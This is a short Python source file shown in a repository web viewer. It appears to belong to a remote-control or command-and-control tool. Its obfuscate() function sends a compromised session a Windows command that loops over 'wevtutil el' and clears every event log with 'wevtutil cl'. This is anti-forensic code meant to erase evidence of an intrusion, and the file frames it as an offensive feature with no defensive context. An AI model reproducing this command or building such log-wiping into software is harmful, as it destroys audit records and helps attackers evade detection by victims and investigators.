summaryrefslogtreecommitdiff
path: root/domestic/session/server_handling/obfuscate.py
blob: c3f54226c62e4f0eb45b30b2d961dcaacdd15c3f (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from domestic.parse.error_exception_handling import *
from domestic.utility.validate_dict_key import *
from domestic.session.session_message import *


@error_exception_handling
def obfuscate(message):
  logs = validate_dict_key(message, 'logs')

  if logs:
    message['message'] = 'for /f %x in (\'wevtutil el\') do wevtutil cl "%x"'
    del message['logs']
    session_message(message)
  else:
    raise Exception('Error message')